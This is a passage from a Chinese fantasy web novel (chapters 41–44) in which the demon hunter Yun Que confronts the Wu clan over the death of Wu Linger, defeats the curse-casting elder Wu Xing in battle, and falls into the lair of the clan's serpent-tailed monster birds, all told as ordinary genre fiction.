在花轿上,隔着帘子能隐约看到坐着个新娘子。 大红的嫁衣,凤冠霞帔,远远看去喜气洋洋。 这是一支简单而特殊的娶亲队伍。 有轿夫,有新郎,也有新娘子。 很多百姓都觉得好奇,围过去看热闹。 大晚上的娶亲,这可是新鲜事。 “谁家大半夜的办喜事儿?咱们乌鸡镇没这习俗啊。” “指不定是哪个穷鬼家,白天怕丢人,办不起酒席,等到晚上娶亲正好省了酒菜,娶回家就洞房了。” “不对呀!今天不是大祭吗,这种日子谁敢办喜事儿,不怕冲撞了天神?” “你一说我才想起来,大祭的日子,镇子上禁止一切红白事儿,这到底是谁家,这么不长眼?” “瞧着吧,等会儿被族长知道了,有他们家苦果子吃!” 百姓们议论纷纷,指指点点。 其中有个酒鬼喝的烂醉,踉跄着凑到近前想要看看新娘子什么样,一下失手将花轿上的帘子拽了下来。 花轿本就十分简单,完全木质结构,两侧垂着的帘子只有装饰作用,一扯就坏。 帘子掉落,现出了花轿上新娘子的身影。 周围百姓纷纷好奇的望去,打算看看到底谁家的女儿在这种时候出嫁。 然而,当人们看到花轿上的新娘子之后,脸上的好奇瞬间转变为震撼惊惧。 许多人惊呼出声,一些孩子看到更是吓得哇哇大哭。 新娘子根本不是活人,而是一副瘦小的白骨! 午夜娶亲,白骨新娘! 第41章 生吞妖兽 乌家寨。 身为大长老的乌星,今晚觉得心神不宁。 “吃掉今天的血食,龙尾雉必定下蛋,莫非要生出来一只异种?” 乌星自言自语着拿出一套奇特的器皿,以龟壳制成,他用龟卜之法占卜起来。 龙尾雉本就极强,若能出现异种,将成为乌家寨更强的战力,异种妖兽甚至有机会突破到六阶。 到时候手握一头六阶妖兽,乌家就能在知远县真正的一手遮天! 哗啦声中,龟壳落地,散落成一个图案。 卦象没有吸引乌星,反而是落地的龟壳,背面尽数朝下。 乌星神色骤变。 “龟腹朝天,大凶之兆!” 乌星擅长占卜,这一卦,算的是乌家豢养的龙尾雉,结果出现了一个极为罕见的卦象。 所有龟壳朝下,好比大龟仰面朝天。 龟若翻身,将陷入必死之地,没有外力的情况下只能等死。 活了六十多年,乌星从未见到如此卦象,他惊疑之余,立刻赶到豢养妖兽的地方,亲自查看一遍。 乌家养了多年的两头龙尾雉,今晚变得比以往要暴躁许多。 下蛋之前,龙尾雉大多会如此模样,属于正常现象,但乌星总觉得今晚好像有什么不好的事要发生。 “大祭得尽快进行,省得夜长梦多。” 乌星打定主意,朝寨子外走去。 原本大祭是在午夜时开始,不过凶卦的出现,让乌星决定改变时间,尽快完成大祭。 带着一队乌家子弟,乌星走出乌家寨,要去迎一迎圣子。 结果刚出门,就看到长街对面走来奇怪的迎亲队伍。 乌星一眼认出,被当做花轿的轿子,正是本该圣子乘坐的花车! 而新郎官带着的大红花,则是圣子的莲台。 花轿上的新娘子更是一副白骨! 乌星心头大怒,却没有立刻发作。 诡异的迎亲队伍,来得很快,不多时停在乌家寨大门口。 萍山君与门六放下花轿后,头也不回的溜走。 这是云缺事先的吩咐。 今晚娶亲,是云缺一个人的事,不需要任何帮手。 等看清那一身黑衣的新郎官,乌星立刻现出忌惮之色。 他认出了云缺! 一年前,提着一把刀独闯乌家寨的人,乌星怎么会忘。 “青狐山的猎妖人,来我乌家寨有何贵干。”乌星沉声道。 “无事不登三宝殿,找你们乌家当然有事。”云缺呵呵笑道:“告诉你们个好消息,今天我娶媳妇!” “好事啊,恭喜了,既然你娶妻,应该回你的青狐山才对,若是缺了酒水菜肴,我乌家可以赠送一些。”乌星皮笑肉不笑的道。 “酒菜就免了,我是来要嫁妆的。”云缺面带微笑的道。 “嫁妆?这是什么道理,你娶妻,难道还来找我乌家要钱不成。”乌星冷笑着道。 “当然了,不找你乌家要,找谁要呢,我娶的可是你们乌家人。”云缺一指花轿上的白骨新娘,道:“我娘子,乌灵儿。” 闻听此言,乌星的神色瞬间冷了下去。 他知道云缺不是来要嫁妆,而是来算账的! 乌星冷冷的盯着云缺,寒声道: “乌灵儿已经在神国往生,永恒不灭,得大自在,我劝你还是别打扰她为好。” “呵呵呵呵,哈哈哈哈!!!” 云缺忽然放声大笑,笑得肆无忌惮,笑着道:“神国真是个好地方啊,又能享福,又能长生,那么你这位大长老,想不想去一趟神国呢。” 乌星下意识的往后退了一步,他旁边的乌家子弟纷纷握紧武器。 如果换成别人,敢在乌家寨大门口如此嚣张,乌家人早就一拥而上将其活活打杀。 可云缺不是旁人。 来自青狐山的猎妖人,乌家也要忌惮几分。 乌星眯起老眼,沉声道: “乌灵儿自愿替她妹妹成为圣子,没人胁迫,你可以去镇子上随便问,这是她自己的选择。” “这样啊,看来我错怪你们了。”云缺点点头,恍然道。 “我乌家从不会坑害自家人,乌灵儿也姓乌,我们当然不会害她,既然知道了前因后果,你可以离开了,乌鸡镇不欢迎你这位猎妖人,我们井水不犯河水,以后最好别见面。”乌星沉声道。 “我会走的,不过走之前,有个消息得告诉你。”云缺道。 “什么消息?”乌星皱眉道。 “你们族长今晚会死,你们乌家的族人今晚会死,你养的两只鸡也会死,你这位大长老,愿不愿意替他们先死呢。”云缺现出古怪的笑容,道:“这是你自己的选择,你可要好好选一选。” 乌星的脸色变得愈发冷冽。 其他的乌家人更握紧了武器,准备随时出手。 乌家寨空旷的大门外,气氛压抑,剑拔弩张。 远处,牧青瑶紧紧捏着双手,与萍山君和门六躲在黑暗里,观望着局势。 她知道这次帮不上忙,但她的愤怒,一点不比云缺少。 如果自己是男儿,如果自己也有云缺的战力,牧青瑶觉得自己也会像云缺一样,为那个曾经痴爱过自己的女孩,讨一个公道! 面对云缺如此直白的威胁,乌星强忍怒意,冷声道: “乌灵儿之死,归根结底是我乌家自己的事,你只是外人,你有什么资格多管闲事!” “我也不想多管闲事,我这人懒得很,懒得理睬你们乌家寨的龌龊,不过,去年的时候,我已经说过了,你们拿什么喂鸡,我不管,拿我朋友喂鸡的话,先问问我这把刀。” 云缺缓缓摘下背后的长刀,嘴角的笑容变得冷若冰寒道:“你,问过我的刀了么!” 当云缺握住长刀的那一刻,一群乌家子弟同时觉得浑身发冷。 仿佛连夜风在此刻都冷冽了许多。 乌星眯着的眼底闪过一抹阴狠,沉声道: “你想要多少嫁妆,可以商量,毕竟乌灵儿是我们乌家人,我这就去找族长,跟我进来吧。” 说罢乌星转身走进乌家寨。 在他转过去的同时,左手悬在身前,掐动出一种古怪的姿势,眼底的阴冷不再隐藏,目光几乎能杀人。 其他乌家子弟也纷纷退回寨子,谨慎的守在两旁。 云缺道了声好,大步而行。 牧青瑶几人在远处看着,发现云缺在迈进寨子的同时好像把什么东西扔进了嘴里。 空旷的门外,只剩下花轿与白骨。 夜风袭来,大红的嫁衣在风中猎猎作响。 “我们也该走了,离这远点,最好到镇子外等着。”萍山君低声道。 不是它自作主张,而是云缺来的时候定下的。 只要自己走进乌家寨,其他几人就立刻离开乌鸡镇。 牧青瑶不放心,道: “这里距离乌家寨很远,应该不会被发现,若出现意外,我们也许能帮上忙。” “不是被乌家发现不发现的问题!是云缺那家伙吃东西了!”萍山君焦急道。 门六好奇的问了句:“出来的时候没带着吃的啊,他刚才到底吃了啥?” 萍山君恼道:“还能吃啥,他身上有什么东西是能吃的!” 牧青瑶瞬间醒悟过来,门六也想到了什么,两人的脸色变得惊悚起来。 云缺身上,唯一能吃进去的东西只有一样。 黑风洞里的蛙卵! 牧青瑶知道云缺有吃蛇蛋鸟蛋的习惯,是用来压制刀中的妖力。 可蛙卵那东西本身都有九阶妖兽的气息,几乎能看作一个小小的九阶妖兽,要是吃下去,很容易肠穿肚烂而亡! 生吞九阶妖兽,何其恐怖! 那绝非人族能做到的事。 随后牧青瑶明悟了云缺的心意。 今晚独闯乌家寨,云缺已经做好不死不休的打算! “咦!云缺怎么了?”门六惊奇的低语道。 牧青瑶急忙望向乌家寨,她看到云缺正站在乌家寨的大门里,一动不动。 刚刚迈进大门而已,就定在当场,这种情况绝对不寻常。 看云缺的背影,几乎毫无防备,好像睡着了一样。 牧青瑶的心,立刻提了起来。 云缺的确睡着了。 迈进乌家寨的那一刻,一阵无法抗衡的困意袭来,云缺只觉得眼皮重如千斤,根本睁不开。 几乎一瞬间而已,云缺就沉沉睡去。 还是站着睡的。 前面带路的乌星随之停住脚步,转回身,面带冷笑道: “猎妖人又如何,在我的沉眠咒之下,还不是乖乖睡去,呵呵呵呵。” 乌星一挥手,两名乌家人立刻将寨子的大门关闭。 沉眠咒,来自于巫修的手段,施展之下,可让人瞬间入梦。 能施展这等法咒的巫修,至少要八品。 乌星,便是一位真正的八品巫修! 沉眠咒的施展,有一个前提,需要对手毫无防备才行。 如果事先做好准备,比如以痛觉来激发神智,沉眠咒很容易失效。 乌星老奸巨猾,佯装服软,将云缺引到寨子里的同时暗中发难,果然让云缺陷入了沉眠当中。 见云缺一动不动的站在原地,一名乌家子弟咬牙切齿道: “去年这狗东西就来大闹过乌家寨,今天我来送他上西天!” 说罢持刀就要斩杀云缺。 “不可!” 乌星一声喝斥,拦住对方道:“他是八品炼骨境武夫,一身筋骨已经熬炼得刀枪不入,你若一刀砍不死他,反而能将他惊醒。” “那该怎么办,总不能放他活着离开!”乌家子弟凶恶道。 “进了乌家寨,哪还有活着离开的道理,老夫亲自送他一程!” 乌星冷哼一声,狞笑着掐动出复杂的咒诀,低喝道:“入梦之法,梦杀!” 第42章 无梦之人 巫修,天下修行派系中最为神秘的一支。 巫修擅长饲虫养蛊,驾驭阴魂,下咒、入梦、控制他人神魂,施展的手段阴邪而隐秘。 正面对战,巫修没有多少优势,无论道家儒家还是佛门,都有很多手段对付巫修。 可若是暗杀偷袭,巫修绝对是所有修行派系中的佼佼者。 令人胆寒的刺客! 防不胜防。 巫修九品为战巫,以巫毒之物洗练自身借以激发潜能与体魄,这一点与武者有着类似之处。 九品战巫的体质在同阶之间,仅次于武夫。 八品法巫,以修炼咒术为主,降头,咒杀,入梦杀人,均为隐晦的杀人手段。 修至八品巅峰的法巫,只需要得到目标的一丁点血肉甚至一根发丝作为媒介,无需接触即可在暗中咒杀对方。 乌星施展的入梦之法,便是一种阴险的咒术。 梦杀这种手段,会将对方的神魂与梦境连接在一处,在梦境中杀掉目标,相当于杀掉了目标的神魂,被杀者将永远无法醒来,就此葬身在梦境当中。 作为八品法巫,乌星的入梦之法已经修炼得十分娴熟。 乌家寨能在乌鸡镇屹立多年,靠的可不止是乌家的人多,还有乌家暗中施展的狠辣手段。 这些年,乌星单纯以梦杀干掉的目标,就多达上百个,无一例外的一击必死。 从来没有失手的时候。 即便目标是名八品武夫,乌星也有绝对的把握在梦境中杀掉对方! 不仅乌星信心十足,乌家的一众子弟也对大长老出手信心百倍。 在这些乌家人看来,独闯乌家寨的猎妖人,今天必死无疑! 乌星闭着眼,双手掐着咒印,长袍无风自动,大袖鼓动不停。 他不断催动着浑身法力,将梦杀施展到极致。 乌星不敢小觑云缺。 毕竟人家是青狐山的猎妖人,这个名头不是别人封的,而是人家这些年一刀一刀砍出来的。 去年云缺独闯乌家寨,乌星并没动手,任凭云缺将乌灵儿带走。 一来是忌惮着猎妖人的战力,当时龙尾雉即将产蛋,乌星不愿节外生枝。 二来乌灵儿这种血食,可有可无,不值一提,放走就放走,再找一个就是,没必要为了一口血食与猎妖人结仇。 如今时隔一年,乌星觉得云缺早忘了乌灵儿这种凡人,他没料到云缺竟为了个凡人女娃打上门来。 既然云缺敢上门,乌星自然不会再留什么情面,于是选择将其诛杀于此。 乌星对自己这次出手,把握十足。 然而他身上的法力却在不断流逝,就像开闸的水渠,没有尽头。 乌星豁然睁眼,眉头紧锁。 法力流逝,只代表着一点,那就是他的入梦之法始终在施展。 沉眠,造梦,最后梦杀。 这三步杀人的技法,乌星自以为做到了完美,而且云缺的确陷入沉眠。 可是从第二步开始,出现了意外。 无法造梦! 乌星觉得无比诧异。 他用梦杀这种手段,干掉了上百人,其中不乏修行者。 的确有人在最后关头动用底牌清醒过来,但那是第三步的梦杀阶段了。 此刻他却停滞在第二步。 别说潜入梦境中杀人,连梦境都造不出来! 这种情况相当于乌星已经挖出了一个池塘,准备淹死对方,结果回头一看,池塘里没水。 “为何造不出梦境?” 乌星低声自语,一脸迷惑,如今的局面,他实在无法理解。 正奇怪的工夫,乌星听到了鼾声。 鼾声来自云缺。 人家站在院子里,睡得无比香甜。 作为八品法巫,乌星能清晰分辨出云缺此刻的状态。 绝非装睡,而是真正在沉眠。 可梦呢? 乌星惊讶得渐渐张开大嘴。 有那么一瞬间,他甚至怀疑起自己是否当真修炼了入梦之法。 活了六十多年,乌星第一次见到如此奇人。 无梦之人! 得出云缺根本不会做梦这个结论后,乌星气得老脸发青,他很想破口大骂。 猪都有做梦的时候,谁家大活人不做梦? 这是睡得比猪都沉啊! 乌星鼻子都要被气歪了,他不再继续造梦,吩咐道: “去调集弓弩手!” 很快二十名乌家人手持弩箭汇聚而来,排成扇面形,手中弩箭齐齐对准云缺。 乌家这些弩箭,制造十分精良,都是军中的连发重弩,杀伤力极大。 “把他钉死在此地,即便他不死,再慢慢把他大卸八块!”乌星恶狠狠的抬手道:“听我号令!” 对付八品武者,乌星使用了最为稳妥的办法。 贸然用刀剑去砍云缺,很容易将其惊醒,若是连弩齐发,云缺就会变成筛子。 哪怕弩箭无法杀死,也会将云缺钉住,令其动弹不得,到时候就成了任人宰割的鱼肉。 不等乌星最后的命令出口,他听到一个奇怪的动静。 咕噜噜。 类似闹肚子的响动,不知从何处传来。 与此同时,云缺动了。 没睁眼,而是弯下了腰,捂着肚子。 乌星终于知道是谁闹肚子了,他猛地将大手挥落,吼道: “杀了他!” 嗖嗖嗖!!! 一支支利箭破空而出,直奔云缺。 下一刻,云缺忽然睁开了眼。 嗡!!! 长刀出鞘! 噗噗噗!!! 袭来的弩箭,一支不落,尽数被长刀反震而回。 二十名乌家弩手,心窝处齐齐中箭,当场毙命。 云缺一手提刀,一手揉着肚子道: “不能乱吃东西啊,肚子疼不算病,疼起来真要命。” 说着轻松随意,但云缺的目光冷冽如冰。 乌星这老家伙居然是巫修,这一点云缺没料到,这才中了沉眠咒。 幸好提前吃了蛙卵。 那玩意进了肚子,不疼才怪。 嘭一声。 云缺照着自己肚子猛砸一拳,身体缓缓站直。 这一拳,砸得力道不算大。 并非为了砸晕蛙卵,而是激发出身上的煞气,以煞气来禁锢住蛙卵的躁动。 “你们乌家寨,就是这么待客的么,既然如此,那我也不客气喽。”云缺冷笑道。 长刀抬起,指向对面的乌星。 到了现在,乌星知道说别的没用,乌家与云缺只能鱼死网破! “哼!区区八品武夫,少要张狂!” 乌星低喝中改变手段。 只见他双手快速在身前结印,头发随之漂浮,在身后铺展开来。 在乌星施法之下,云缺脚下的地面突然变得泥泞起来。 很快形成一大片沼泽! 一只只干瘪腐烂的骨头手,从沼泽里探出,抓向云缺。 云缺一刀斩落。 结果出乎预料,被斩中的骨头手完好无损,直接抓住云缺的脚踝。 砍不断! 云缺非但不怕,反而好奇起来。 用力抬脚,无法移动。 脚下的沼泽将他牢牢黏在原地! 随着越来越多的骨头手抓来,云缺身上很快遍布骨手。 有的抓脚,有的抓肩,有的抓头。 上百只骨头手将云缺牢牢按住,抓着云缺向沼泽下方沉去。 乌星面带冷笑,望着下沉的云缺道: “猎妖之人,一介莽夫罢了,此地,将成为你的坟墓,云缺,死在这里吧!” 随着乌星的声音,云缺的头部也沉入了沼泽,只剩两只眼睛。 “巫修果然邪门儿……”云缺低声道出两个清冷骇人的字眼:“血瞳!” 一抹血光流转之下,云缺的左眼铺上一层殷红。 血瞳动用之下,脚下的沼泽随之消失,无数骨头也化作虚无。 云缺仍旧站在原地。 刚才的恐怖景象,只是乌星施展出的幻术。 血瞳,便是妖之眼! 当云缺的眼瞳转为血色,那么施加在身上的幻术将不攻自破。 除非对方的幻术能力,比云缺手里的妖刀还要强大。 很显然,乌星远远达不到那等程度。 幻术一破,乌星直接被反噬,连连倒退数步,脸色变得苍白起来,气息大乱。 “还有什么本事,都拿出来,你是我第一个遇到的八品法巫,也是我击杀的第一个巫修!” 云缺持刀而上,如猛虎扑食。 “挡住他!”乌星气息不稳,急急大吼。 立刻有四名乌家人手持利剑挡在大长老面前。 这四人均有九品战巫的实力,平常经常配合,四把剑同时斩出,角度刁钻,攻向云缺的要害。 乌家人以凶悍著称,出手的四人打着同归于尽的心思。 他们当中只要有一把剑击中对手,至少能将云缺重创,其他人就算死了也不在乎。 然而这几人低估了猎妖人的战力。 一个照面而已,云缺都没刻意躲避,直接一刀横扫,四把长剑应声而断。 四颗人头滚落在地。 一刀,斩杀四名九品战巫! 乌家人知道青狐山的猎妖人不好惹,但他们没见过云缺斩妖的模样。 即便八阶的三眼妖狼,在云缺面前也不过一刀而已! 瞬间冲过四名战巫的尸体,云缺到了乌星近前,手中长刀犹如恶龙般斩落。 乌星大惊失色。 被武者近身的下场,他岂能不知。 尤其是云缺这种比乌家人还要凶悍的武夫! 乌星长袖一抖,手中多出一把弯刀,犹如镰刀一样,用尽全力挡向云缺的刀锋。 锵!!! 一片火花闪过。 乌星的确挡住了这一击,但他自己也被巨大的力道轰飞出去。 身为八品法巫,乌星曾经也是九品战巫,他的体质远比道门或者儒家修士要强悍得多,甚至不弱于九品武者。 但对上八品炼骨境的武夫,乌星的体质就不够看了。 这位乌家大长老整个人倒着飞出,不等落地,云缺已经快如闪电般跃到乌星的上方。 “神国挺好的,我送你一程!” 云缺与乌星平行,在其上方一刀斩下! 咔!!! 轰!!! 乌星拼了老命以弯刀格挡,结果连人带刀被轰进地面。 乌家寨里铺着坚固的方砖,乌星直接砸碎一大片方砖,附近的裂痕扩展到十余丈之远。 这次重击,虽然没砍死乌星,却让其大口喷血。 猎妖人的刀,不斩杀敌人是不会收的。 云缺借着下坠的力道,刀尖朝下,双手握刀,对着乌星扎了下去! 第43章 原来是鸡窝 云缺一连串的杀招,快若奔雷,乌星疲于应对,此刻到了强弩之末。 他终于体会到猎妖人的恐怖。 乌星后悔了。 后悔不该拿乌灵儿喂妖兽。 换个其他血食,也就没有今天的麻烦。 但人早死了,乌星知道后悔没用,迎着云缺袭来的长刀,他动用了最强法咒。 噗! 乌星直接喷出一大口鲜血,双手快速掐动咒决,在长刀刺落的同时,大吼出声。 “血咒!” 乌星喷出的鲜血突然在半空汇聚成一颗狰狞狼头,呼啸着咬向云缺。 血色狼头是一种强大的咒术,以巫修自身精血引动,耗费极大,是八品巫修的最强一击。 施展出血咒瞬间,乌星的容貌随之改变,大量皱纹出现,头发眉毛相继变白,一下子苍老了十岁。 轰!! 血色狼头与长刀相撞,炸裂出漫天血光。 云缺下坠的姿态就此顿住。 刀刃切在血狼的獠牙上,竟一时难以将其斩断。 乌星见血咒奏效,他一狠心,调集浑身法力,再次喷出一大口鲜血。 那不是普通的鲜血,而是融合了乌星寿元的精血! 乌星准备孤注一掷,无论耗费任何代价也要将云缺击杀在乌家寨。 得到鲜血补充的狼头,转眼间膨胀倍许,比云缺要大出两倍。 狼头突然张开大口,连着长刀一起将云缺吞没。 距离乌家寨数百丈远的一座木屋顶端,牧青瑶与萍山君门六几人正在等待,这里比较偏僻,地势较高,站在屋顶能眺望乌家寨。 尽管看不到寨子里的情况,但牧青瑶看到了出现在半空的血色狼头。 刚刚来到这里,牧青瑶就看到云缺被那血色狼头吞没。 “好大的狼!云缺被吃掉了!”门六惊呼道。 “那是法术,很强的法术!”萍山君忌惮道。 “以血化狼,巫蛊之术!乌家居然有巫修高手!”牧青瑶马上紧张起来,替云缺捏了一把汗。 巫修的手段神秘而阴险,令人防不胜防,尤其武夫,大意之下很容易被巫法重创。 武夫不同于其他修行者,一旦战斗会调动自身气血,虽然战力凶猛,但有个弊端。 杀着杀着,就会杀红了眼。 越是凶险的战斗,越能影响武者的心神,以至于让武者对自身防御愈发大意。 这一点好比斗牛。 当牛达到愤怒的极限,就是牛被击杀的时候。 如此现象,在武者身上十分普遍,其他派系的修行者几乎人尽皆知,于是将其当做武夫的弱点加以针对。 牧青瑶怕云缺也杀红了眼,掉进巫修的陷阱当中。 不过牧青瑶的担心,有些多余了。 仅仅片刻之后,乌家寨上空的血色狼头便开始扭曲起来,紧接着在一道刺眼的刀光下分为两半! 一道身影从空中落下。 云缺稳稳站在地面,左眼猩红,手里的长刀荡漾着殷红血色,那血色之浓,比起头顶的狼头还要浓郁百倍! 哗啦!! 血色狼头化作血雨洒落,地面被染红。 乌星大惊。 他没料到自己以耗费寿元与生命为代价施展的血咒,居然挡不住云缺片刻之久! 其实血咒这种强力杀招,是七品血巫最为拿手的招式。 以乌星八品法巫的修为只能勉强施展,还要消耗自身气血寿元,可以说代价极大。 拼尽全力施展出血咒后,乌星已经气息虚弱,无力再战。 他转头就逃。 周围几十名乌家子弟则一拥而上,冲向云缺,为自家长老争取逃离的时间。 云缺冷冷一笑,脚下错动,追杀而去。 挡在面前的乌家子弟犹如一堆破砖烂瓦般,几个呼吸便被斩杀一空。 留下满地尸体。 这时乌星已经逃进一条长廊,正拼尽全力冲向长廊尽头的大屋。 云缺哪能放过这老贼。 几个纵跃追到乌星身后。 单纯比拼速度的话,八品巫修由于在九品境界的时候以巫毒之物洗练过自身,绝对比道家儒家修士要快得多。 但是比起同阶的八品武夫,那就不够看了。 追上乌星后,云缺手起刀落。 一刀斩向乌星的后颈! 乌星修炼多年,面对危险应对得十分快速,他直接抱头朝着前面滚了出去。 别看狼狈不已,倒也堪堪避开了致命的一刀。 乌星一下子滚到长廊尽头,扶着旁边的柱子狼狈爬起。 云缺则放慢了脚步。 提着刀,一步步走向目标。 乌星面带惊恐的吼道: “乌灵儿一条不值钱的烂命而已,值得你与整个乌家为敌吗!即便杀了我,你云缺也走不出乌家寨!” 云缺冷冷的笑道: “你眼里不值钱的烂命,在我眼里可是无价之物,你们乌家做错了事,就要承受代价!” 乌星死死盯着云缺逼近的脚步,喝道: “这件事是我考虑不周,这样好了,镇子上的所有女人你随意挑选,我做主,送你十个媳妇!” “十个太多了,我消受不起啊,一个就够。”云缺笑道。 “好!你说想要谁,我亲自出面为你提亲!”乌星喝道。 “这可是你说的,不许反悔啊。”云缺笑道。 “当然!我身为乌家大长老,在乌鸡镇一言九鼎,无论你选谁为妻,她不敢不从!”乌星道。 “我要你妈!”云缺话音出口的同时,脚下炸起风旋。 乌星勃然大怒,他用力拍了下身旁的柱子。 咔嚓一声轻响。 机括转动! 哗啦啦! 云缺脚下的地面瞬间开裂,长廊中心位置出现一个无底大洞。 刚要发力冲出的云缺,脚下失去支点,就此掉落地底。 哗啦! 乌星再次转动机关,地面随之合拢。 乌星这才长出一口气,懊恼道: “好难缠的猎妖人!既然你自己找死,那便当做龙尾雉的血食好了!” 乌星不敢久留,拖着疲惫的身躯赶往乌家寨深处。 他要去找家主。 敌人太强,乌星怕云缺还有脱身的机会。 家主今年始终在闭关修炼,若非灭族的大事,不会出关。 而云缺展现的强大战力,让乌星心胆俱裂,他不敢拿乌家的存亡做赌注,必须请家主出关才行。 当乌星急匆匆去寻家主禀报之际,云缺正在地底滑行。 地坑并非一个坑洞,而是类似一条宽大的隧道,斜着沉入地底。 隧道完全由精钢铺就而成,看不到半点砖瓦,无法以刀剑作为支点,云缺一路滑向地底。 近百丈的隧道,很快抵达尽头。 云缺觉得身体悬空,随后掉落而下。 幸好与地面的距离不算太高,大致有五丈高度。 这种高度,是摔不死八品武夫的。 云缺在双脚落地的同时,朝前翻滚,卸掉坠落的力道。 当起身之际,云缺听到了一种奇怪的声音。 咕咕咕,咕咕咕。 好似进了鸡窝。 所在之处,是一间巨大的地底密室,极为宽敞,地面铺着厚厚的稻草。 四周墙壁上燃着火把,将密室照耀得亮如白昼。 在角落里,能看到一些森白的骨骸。 咕咕的怪声,很快消失,取而代之的,是妖气汹涌! 云缺缓缓转过身。 眼前,是两只形态狰狞的妖物! 两丈多高的身躯,鲜红的鸡冠,幽蓝的眼球,坚如钢铁的长喙,利剑般的巨爪! 那是两只鸡形的妖物,庞大而狰狞,身后拖着一条硕大的蟒尾,各自散发着七阶妖兽的气息。 龙尾雉! 乌家豢养多年的七阶巅峰妖兽! 所谓的龙尾,其实指的是蟒尾。 在两只龙尾雉面前,云缺显得十分渺小,需要仰头才能看到妖兽全貌。 龙尾雉分为一公一母。 其中的公鸡晃动着脑袋,嘴巴上有一道明显的刀痕,当它看到云缺后,一双蓝眼里立刻爆发出恨意。 它认出了云缺,就是去年在它嘴巴上留下刀痕的家伙! 母鸡的体型比公鸡还大。 不知是不是要下蛋的缘故,显得格外暴躁,喉咙里不断发出咕咕怪声。 龙尾雉的形态已经足够骇人,其战力更是可怕。 连萍山君那等七阶虎妖,对龙尾雉都忌惮几分,碰到了,绝对会避让三舍。 七阶妖兽当中,龙尾雉绝对能排在前列,甚至达到前三的程度,是修行界公认的七阶巅峰类妖兽! 这种妖兽看似蠢笨,实则极其灵敏。 嘴巴上的长喙不仅是吃人的利器,还能咬住法器,让修行者难以施展。 长爪与蟒尾更是要命的东西。 龙尾雉一爪就能抓裂一大块青石,而蟒尾甩动起来足有数万斤的巨力。 萍山君的虎尾,威力已经相当不俗,但比起龙尾雉的蟒尾差了太多。 如果让萍山君单纯以虎尾与龙尾雉的蟒尾对轰,那么萍山君肯定先被抽死! “原来是鸡窝啊。” 面对两头七阶巅峰妖兽,云缺面不改色,淡淡一笑道:“看来你们的伙食不错嘛,一年没见,又长了不少分量。” 咕咕!咕咕! 公的龙尾雉发出刺耳叫声,呼扇起翅膀,妖气大作。 母的龙尾雉则愈发躁动,身后的蟒尾噼啪甩动,将地面砸出一条条痕迹。 云缺没在乎两头妖兽,环顾着密闭的地底空间。 “养妖之地,困兽犹斗,好地方。” 乌家的养妖之处,也是完美的斗兽之地。 乌家的敌人与仇家,许多都葬身于此,再也没出去过。 嗡! 云缺将左手划过长刀表面,刀身上随之睁开一只血瞳! “不宰了你们,看来是出不去了,正好,今天来算算账。” 云缺的笑容瞬间转冷,寒声道:“你们敢吃了乌灵儿,那么,我就吃了你们!” 下一刻,密室之内,血光冲天! 妖刀之内,探出了一只血色巨爪! 第44章 灭族而已 乌家寨深处,有一处安静的院落,四周蛰伏着几十名乌家高手,昼夜值守。 这里是乌家重地,一家之主的闭关之处。 乌星一进院子,立刻有两名身形壮硕的年轻人现身而出。 “大长老。” 见是家中长老,两名乌家高手急忙拜见。 “我去见族长,你们守在这里。”乌星点点头,快步走向大屋。 两人迟疑了一下,不敢多说,退回到阴影里。 没有族长的许可,这里不许任何人出入,但乌星这位大长老是个例外。 到了屋门前,乌星犹豫起来。 云缺已经掉进饲养妖禽的密室,面对两头龙尾雉,可以说九死一生,这时候去打扰族长,有些得不偿失。 一旦族长修炼到紧要关头,突然被打断,那可是乌家最大的损失。 但乌星的心里始终七上八下,忐忑不安。 不仅是云缺表现出的惊人战力,还有他之前卜的那一卦。 龟腹朝天,必定大凶,预示着死亡。 而且龟这种东西,全名叫做乌龟,龟腹朝天,乌家大难! 不行,必须禀报族长! 乌星打定主意,正要叫门,忽然大门开了。 “进来吧。” 苍老的声音从屋内传来。 乌星顿时一喜,既然族长已经察觉到自己前来,那就不会惊扰到族长修炼。 乌星急忙走进屋中。 一进屋,乌星的浑身猛然颤抖了一下。 屋子里昏暗无光,弥漫着刺鼻的血腥气息。 随着烛火亮起,血腥之气一扫而空。 木榻上盘坐着一名老者,长眉鹰目,长发垂到塌上,宛若披风。 在这老者的身上起伏着一层血色,若隐若现。 此人正是乌家的族长,乌家寨真正的主人,乌人杰。 乌人杰缓缓睁开眼,眸中闪过一层血光,他抬手朝着乌星身后隔空一抓。 这时院墙上的一只野猫刚想跳进院子,猫身突然干瘪,被瞬间抽走所有血肉,只剩一张扁扁的皮囊,如树叶般飘落墙头。 野猫的血肉化作一道血线,被摄入屋内,随后在乌人杰面前变化成一只完全由鲜血组成的野猫,灵活的跳上书桌,伸展爪子,抻着懒腰,惟妙惟肖。 乌星愣了一下,随后惊喜道: “恭贺族长!血咒之术大成!” 这一年来,乌人杰之所以闭关不出,是为了将血咒术修炼到极致。 不同于乌星耗费精血与寿元才能施展的血咒,七品血巫可以将周围活物的鲜血剥离,为己所用,以血为媒,制造杀伤力极大的咒术。 身为七品血巫,乌人杰的实力极强。 但此人十分低调,几乎从不在外人面前展现修为,以至于除了乌星与乌家核心子弟之外,其他族人乃至乌鸡镇的百姓都以为乌人杰并无修为。 “血咒之法,玄妙非凡,唯七品以上方可感悟到其中真谛,大长老可要加把劲了,早日冲进七品才好。”乌人杰微笑道。 “族长天赋过人,不仅早已是七品高手,连血咒之术这等极难施展的咒术都可修炼到大成,我是比不得了。”乌星连连摆手,谦虚道。 乌人杰笑了笑,问道: “龙尾雉可产下了血玉之蛋,朝中那位大人既然喜欢血玉,我们就投其所好,拉拢住他,我族的大计自可再进一步。” 乌星咧了咧嘴角,道:“今晚的大祭出了些意外……” 将云缺前来闹事的经过道出之后,乌星闭口不语,等待族长决断。 “青狐山的猎妖人,名头倒是不小,说到底不过是个十几岁的娃娃罢了,既然他掉进密室,现在应该成了龙尾雉的食物,比起寻常女娃,八品武夫的气血更加充盈,这次的血玉之蛋,品质定然不俗。” 乌人杰轻松的说道。 见族长对云缺不以为意,乌星急忙道: “族长莫要小看了那云缺,我刚才和他动了手,任凭我施展全力连血咒都动用,也无法将其战败,猎妖人的名号绝非空穴来风啊。” “哦?我说你的气血怎会如此混乱,原来动用了血咒,八品境界施展血咒的代价极大,看来你被他逼到了绝境。” 乌人杰此刻现出些兴致,起身道:“走,去瞧瞧那个云缺,看他这位猎妖人如何被妖兽吞吃。” 比起乌星的心神不宁,乌人杰底气十足。 不管云缺有多强,只要还是八品武者,在乌人杰的认知中,就绝对逃不出两头龙尾雉的围杀。 乌人杰与乌星沿着密道抵达地底一座巨大的铁门前。 门内,便是豢养龙尾雉的地方。 此刻大门里静悄悄,没有任何打斗的声音。 